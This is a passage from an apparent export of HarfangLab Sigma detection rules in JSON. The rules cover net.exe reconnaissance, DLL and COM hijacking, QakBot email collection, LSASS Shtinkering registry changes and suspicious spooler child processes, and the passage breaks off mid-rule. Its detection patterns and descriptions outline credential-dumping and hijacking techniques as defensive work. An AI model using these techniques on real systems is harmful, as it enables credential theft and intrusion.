+  "content": "title: Remote Systems Discovered via net.exe\nid: e5d1db90-73a9-4014-a85c-e240ee90e52e\ndescription: |\n    Detects the execution of net.exe with the \"view\" argument.\n    This is commonly used by attackers for remote system reconnaissance when preparing for lateral movement.\n    It is recommended to analyze the process tree to find the process responsible for the execution of net.exe and to determine its legitimacy.\nreferences:\n    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875576(v=ws.11)\n    - https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1135/\ndate: 2022/11/07\nmodified: 2025/09/10\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - attack.t1135\n    - attack.s0039\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\net.exe'\n        - OriginalFileName: 'net.exe'\n\n    selection_command:\n        CommandLine|contains: ' view'\n\n    exclusion_programfiles:\n        GrandparentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_connectwise:\n        GrandparentImage: '?:\\Windows\\LTSvc\\LTSVC.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Connectwise, LLC'\n\n    exclusion_local_link_messaging:\n        GrandparentImage|endswith: '\\Local file links Native Messaging API Host\\local-link-messaging-host.exe'\n\n    exclusion_carestream:\n        GrandparentImage:\n            - '?:\\Program Files\\Carestream\\CS Trophy Gestion\\CS Trophy Gestion.Exe'\n            - '?:\\Program Files (x86)\\Carestream\\CS Trophy Gestion\\CS Trophy Gestion.Exe'\n\n    exclusion_fiducial:\n        GrandparentImage:\n            - '?:\\Program Files\\FIDUCIAL Informatique\\FIDUCIAL Update\\Fiducial.Update.Client.Service.exe'\n            - '?:\\Program Files (x86)\\FIDUCIAL Informatique\\FIDUCIAL Update\\Fiducial.Update.Client.Service.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e5d1db90-73a9-4014-a85c-e240ee90e52e",
+  "rule_name": "Remote Systems Discovered via net.exe",
+  "rule_description": "Detects the execution of net.exe with the \"view\" argument.\nThis is commonly used by attackers for remote system reconnaissance when preparing for lateral movement.\nIt is recommended to analyze the process tree to find the process responsible for the execution of net.exe and to determine its legitimacy.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2025-09-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1135"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e5ef77ff-fe89-4189-86fd-f1fcbc53d81f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594325Z",
+  "creation_date": "2026-03-23T11:45:34.594329Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594336Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_packageinspector.yml",
+  "content": "title: DLL Hijacking via packageinspector.exe\nid: e5ef77ff-fe89-4189-86fd-f1fcbc53d81f\ndescription: |\n    Detects potential Windows DLL Hijacking via packageinspector.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'packageinspector.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\msi.dll'\n            - '\\SLC.dll'\n            - '\\sppc.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e5ef77ff-fe89-4189-86fd-f1fcbc53d81f",
+  "rule_name": "DLL Hijacking via packageinspector.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via packageinspector.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e601af53-adea-47b0-a55f-e3ecbff5cd88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086247Z",
+  "creation_date": "2026-03-23T11:45:34.086248Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086253Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/",
+    "https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks",
+    "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/",
+    "https://attack.mitre.org/techniques/T1114/001/"
+  ],
+  "name": "t1114_001_quakbot_email_collection.yml",
+  "content": "title: QakBot Malware Email Collection Detected\nid: e601af53-adea-47b0-a55f-e3ecbff5cd88\ndescription: |\n    Detects when QakBot malware creates a directory structure and log file indicative of email collection activities.\n    QakBot uses this method to store stolen emails, creating an \"EmailStorage\" directory and a \"collector_log.txt\" file.\n    It is recommended to investigate the contest around the creation of the \"EmailStorage\" directory and the associated log file and to check for the presence of other QakBot-related artifacts, such as scheduled tasks or registry entries.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/\n    - https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks\n    - https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/\n    - https://attack.mitre.org/techniques/T1114/001/\ndate: 2022/04/22\nmodified: 2025/03/18\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1114.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Malware.Qakbot\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path:\n            - '?:\\Users\\\\*\\EmailStorage_*_??????????\\collector_log.txt'\n            - '?:\\Windows\\system32\\config\\systemprofile\\EmailStorage_*_??????????\\collector_log.txt'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e601af53-adea-47b0-a55f-e3ecbff5cd88",
+  "rule_name": "QakBot Malware Email Collection Detected",
+  "rule_description": "Detects when QakBot malware creates a directory structure and log file indicative of email collection activities.\nQakBot uses this method to store stolen emails, creating an \"EmailStorage\" directory and a \"collector_log.txt\" file.\nIt is recommended to investigate the contest around the creation of the \"EmailStorage\" directory and the associated log file and to check for the presence of other QakBot-related artifacts, such as scheduled tasks or registry entries.\n",
+  "rule_creation_date": "2022-04-22",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1114.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e61629a5-eafd-4156-b60c-a7a61f7f1c70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623000Z",
+  "creation_date": "2026-03-23T11:45:34.623002Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623007Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/deepinstinct/Lsass-Shtinkering",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_registry_modification_lsass_shtinkering_global.yml",
+  "content": "title: Registry Modification Associated with LSASS Shtinkering\nid: e61629a5-eafd-4156-b60c-a7a61f7f1c70\ndescription: |\n    Detects a modification in the registry necessary for the LSASS Shtinkering dump method to work.\n    LSASS Shtinkering is a LSASS dump technique that consists in sending a message to the Windows Error Reporting service to report an LSASS exception.\n    This, along with the correct dump type set in the registry, will dump the LSASS process memory.\n    This registry option might be enabled to aid Windows application developers with debugging.\n    It is recommended to investigate the process performing the registry modification to determine its legitimacy, a legitimate context could be the debugging of an application.\nreferences:\n    - https://github.com/deepinstinct/Lsass-Shtinkering\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2023/04/03\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\DumpType'\n        Details: 'DWORD (0x00000002)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_regedit:\n        ProcessImage: '?:\\Windows\\regedit.exe'\n\n    exclusion_schedule:\n        - ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessGrandparentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_amazon:\n        ProcessCommandLine: 'powershell.exe -ExecutionPolicy RemoteSigned -file ?:\\Program Files\\Amazon\\Photon\\Bootstrap\\bootstrap.ps1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e61629a5-eafd-4156-b60c-a7a61f7f1c70",
+  "rule_name": "Registry Modification Associated with LSASS Shtinkering",
+  "rule_description": "Detects a modification in the registry necessary for the LSASS Shtinkering dump method to work.\nLSASS Shtinkering is a LSASS dump technique that consists in sending a message to the Windows Error Reporting service to report an LSASS exception.\nThis, along with the correct dump type set in the registry, will dump the LSASS process memory.\nThis registry option might be enabled to aid Windows application developers with debugging.\nIt is recommended to investigate the process performing the registry modification to determine its legitimacy, a legitimate context could be the debugging of an application.\n",
+  "rule_creation_date": "2023-04-03",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e61f095a-874d-4e1b-8427-c3051e7e0f9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626893Z",
+  "creation_date": "2026-03-23T11:45:34.626896Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626900Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dll-hijacking-techniques/",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1546_015_com_hijacking_dll_redirection.yml",
+  "content": "title: COM Hijacking via DLL Redirection\nid: e61f095a-874d-4e1b-8427-c3051e7e0f9b\ndescription: |\n    Detects COM hijacking when a COM object is modified in the registry to point to a DLL in a suspicious location.\n    COM hijacking by DLL redirection is a technique where an attacker modifies a legitimate COM component's configuration to make it point to a malicious DLL so the host process unknowingly loads attacker code.\n    When the COM object is instantiated, the replaced DLL runs in the context of the trusted process, enabling code execution, persistence, or privilege escalation without modifying the process binary.\n    It is recommended to check the process which set the registry key for suspicious activities.\nreferences:\n    - https://unit42.paloaltonetworks.com/dll-hijacking-techniques/\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2025/10/23\nmodified: 2026/02/03\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1546.015\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains: '\\Classes\\CLSID\\{????????-????-????-????-????????????}\\'\n        AgentVersion|gte|version: 5.0 # Previous registry info\n        PreviousDetails|contains:\n          - '\\System32\\'\n          - '\\SysWOW64\\'\n\n    filter_legit_directories:\n        Details|contains:\n          - '\\System32\\'\n          - '\\SysWOW64\\'\n\n    exclusion_citrix:\n        Image: '?:\\Program Files\\Citrix\\Secure Access Client\\nsload.exe'\n        ProcessSignature: 'Citrix Systems, Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_dism:\n        Image:\n            - '?:\\Windows\\SystemTemp\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\????????-????-????-????-????????????\\DismHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e61f095a-874d-4e1b-8427-c3051e7e0f9b",
+  "rule_name": "COM Hijacking via DLL Redirection",
+  "rule_description": "Detects COM hijacking when a COM object is modified in the registry to point to a DLL in a suspicious location.\nCOM hijacking by DLL redirection is a technique where an attacker modifies a legitimate COM component's configuration to make it point to a malicious DLL so the host process unknowingly loads attacker code.\nWhen the COM object is instantiated, the replaced DLL runs in the context of the trusted process, enabling code execution, persistence, or privilege escalation without modifying the process binary.\nIt is recommended to check the process which set the registry key for suspicious activities.\n",
+  "rule_creation_date": "2025-10-23",
+  "rule_modified_date": "2026-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.015"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e62cf952-25f7-4ad2-b66c-70d6cdb5371d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606086Z",
+  "creation_date": "2026-03-23T11:45:34.606090Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606097Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_suspicious_spoolsv_child_process.yml",
+  "content": "title: Suspicious Process Spawned by spoolsv.exe\nid: e62cf952-25f7-4ad2-b66c-70d6cdb5371d\ndescription: |\n    Detects the execution of a suspicious process by the Windows Print Spooler binary.\n    This can be the result of the exploitation of the CVE-2022-38028 vulnerability that allows attackers to escalate as SYSTEM.\n    It is recommended to investigate the process spawned by spoolsv.exe and other suspicious activities on the machine before this action.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2024/04/22/analyzing-forest-blizzards-custom-post-compromise-tool-for-exploiting-cve-2022-38028-to-obtain-credentials/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2024/04/23\nmodified: 2025/10/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\spoolsv.exe'\n\n    exclusion_image:\n        Image:\n            - '?:\\Windows\\System32\\spoolsv.exe'\n            - '?:\\Windows\\System32\\conhost.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\System32\\route.exe'\n            - '?:\\Windows\\splwow64.exe'\n            - '?:\\Windows\\System32\\cacls.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\System32\\wermgr.exe'\n            - '?:\\Program Files\\\\*'\n            - '?:\\Program Files (x86)\\\\*'\n            - '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\\\*'\n            - '?:\\Windows\\System32\\spool\\drivers\\w32x86\\3\\\\*'\n            - '*\\gs\\gs*\\bin\\gswin64c.exe'\n            - '*\\gs\\gs*\\bin\\gswin32c.exe'\n            - '?:\\CSPrinter\\Leica\\Application\\CSPrtHelp.exe'\n            - '?:\\Windows\\System32\\th-2500sm.exe' # Thomson Status Monitor\n            - '?:\\Windows\\System32\\pt2500sm.exe' # Zhuhai Pantum Electronics Co.,Ltd.\n            - '?:\\Users\\\\*\\AppData\\Local\\GravoTechLaser\\bidiEthernet_GravoTech Laser.exe'\n            - '?:\\Windows\\System32\\NPI_IGDoc.EXE'\n\n    exclusion_wscript.exe:\n        CommandLine:\n            - '?:\\Windows\\system32\\wscript.exe /B /E:VBS ?:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\ACFPDF.TXT *'\n            - '?:\\Windows\\SysWOW64\\wscript.exe /B /E:VBS ?:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\ACFPDF.TXT *'\n\n    exclusion_regsvr32:\n        CommandLine:\n            - '?:\\WINDOWS\\SysWOW64\\regsvr32.exe /s ?:\\WINDOWS\\SysWOW64\\PrintConfig.dll'\n            - '?:\\WINDOWS\\system32\\regsvr32.exe /s ?:\\WINDOWS\\system32\\spool\\drivers\\\\*\\3\\PrintConfig.dll'\n            - 'regsvr32.exe /s /c DriverAutomationLibrary.dll'\n            - '*regsvr32* ?:\\WINDOWS\\system32\\\\*'\n            - '?:\\Windows\\System32\\regsvr32.exe /s ?:\\WINDOWS\\SYSTEM32\\\\*'\n\n    exclusion_rundll32:\n        CommandLine:\n            - 'rundll32.exe ?:\\Windows\\system32\\spool\\DRIVERS\\\\*\\3\\\\*.dll,StatusMonitorEntryPoint *'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\spool\\DRIVERS\\\\*\\3\\\\*.dll,VendorSetupEntryPoint *Canon*'\n            - 'rundll32.exe ?:\\Windows\\system32\\spool\\DRIVERS\\\\*\\3\\\\*.dll,CnmDxPEntryPoint *Canon*'\n            - 'RUNDLL32 PRINTUI.DLL,PrintUIEntry /Xs /n *'\n            - 'rundll32.exe url.dll,FileProtocolHandler EWB:undefined:0000:PRINTTO:*'\n            - 'rundll32.exe ?:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\\\*\\3\\ES4PCCFG.DLL,DseMonitorJobA *'\n            - 'rundll32.exe ?:\\Program Files\\TechSmith\\SnagIt *\\\\*'\n            - 'rundll32.exe ?:\\Program Files (x86)\\TechSmith\\SnagIt *\\\\*'\n\n    exclusion_cmd:\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /c *\\pdfconverter\\\\*'\n            - '?:\\windows\\system32\\cmd.exe /c pnputil *'\n            - '?:\\windows\\system32\\cmd.exe /c pnputil.exe /enum-devices'\n            - '?:\\windows\\system32\\cmd.exe /c pnputil.exe /enum-devices *'\n            - '?:\\Windows\\system32\\cmd.exe /c *\\pstopdf.cmd'\n            # Canon (CNMCPA9.DLL, CNMN6PPM.DLL, ...)\n            # bbb97189a4de7ea08f128e0b8c481a89c50e993d8462cf737d28a148fece505f\n            - '?:\\Windows\\system32\\cmd.exe /c route ADD -p 169.254.0.0 MASK 255.255.0.0 *'\n            - '?:\\Windows\\System32\\cmd.exe /c netsh interface set interface XPS Card Printer High Speed USB Connection *'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files\\\\*\\\\*.bat'\n            - '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files (x86)\\\\*\\\\*.bat'\n\n    exclusion_system_sign:\n        Image:\n            - '?:\\Windows\\System32\\\\*'\n            - '?:\\Windows\\SysWOW64\\\\*'\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows Hardware Compatibility Publisher'\n            - 'Lexmark International, Inc.'\n            - 'CANON INC.'\n            - 'Dell Inc.'\n            - 'Dell Incorporated'\n            - 'SEIKO EPSON Corporation'\n            - 'Brother Industries, ltd.'\n\n    exclusion_temp_sign:\n        Image: '?:\\Windows\\Temp\\\\*'\n        Signed: 'true'\n        Signature: 'Samsung Electronics CO., LTD.'\n\n    exclusion_system32:\n        Image: '?:\\Windows\\System32\\\\*'\n        OriginalFileName:\n            - 'FollowMeClientPortUI.exe'\n            - 'GN__coms.exe'\n            - 'HP*SM.dll' # (HP1100SM.dll, HPM1210SM.dll)\n            - 'PortPopup.EXE'\n            - 'zlm_zx.dll'\n            - 'zsm_frontier.exe'\n            - 'zshp1020.exe'\n\n    exclusion_net:\n        Image: '?:\\Windows\\System32\\net.exe'\n        CommandLine|startswith: 'net start '\n\n    exclusion_netsh:\n        Image: '?:\\Windows\\System32\\netsh.exe'\n        CommandLine|startswith: 'netsh firewall add portopening '\n\n    exclusion_monitorui:\n        Image: '?:\\Windows\\SysWOW64\\\\*.exe'\n        OriginalFileName: 'MonitorUI.exe'\n\n    exclusion_PDFCreator:\n        Image|endswith:\n            - '\\PDFCreator.exe'\n            - '\\PDFCreator-cli.exe'\n            - '\\PrintJobSource.exe'\n            - '\\PDFSpool.exe'\n        OriginalFileName:\n            - 'PDFCreator.exe'\n            - 'PDFCreator_pdfforge.exe'\n            - 'PDFCreator_pdfforge2.exe'\n            - 'PDFCreator_pdfforgeDL.exe'\n            - 'PDFCreator-cli.exe'\n            - 'PrintJobSource.exe'\n            - 'PDFSpool.exe'\n\n    exclusion_cpwsave:\n        # C:\\Program Files (x86)\\Acro Software\\CutePDF Writer\\CPWSave.exe\n        # C:\\Program Files (x86)\\CutePDF Writer\\CPWSave.exe\n        Image|endswith: '\\CPWSave.exe'\n        OriginalFileName: 'CPWSave.EXE'\n\n    exclusion_multix:\n        Image|endswith: '\\multix.exe'\n        OriginalFileName: 'multix.exe'\n\n    exclusion_gswin:\n        Image|endswith: '\\gswin32c.exe'\n        CommandLine: '*\\gswin32c.exe *pdfwrite* -sOutputFile=*'\n\n    exclusion_seagfull:\n        CommandLine: 'regsvr32.exe /s /c ssdal.dll'\n        CurrentDirectory: 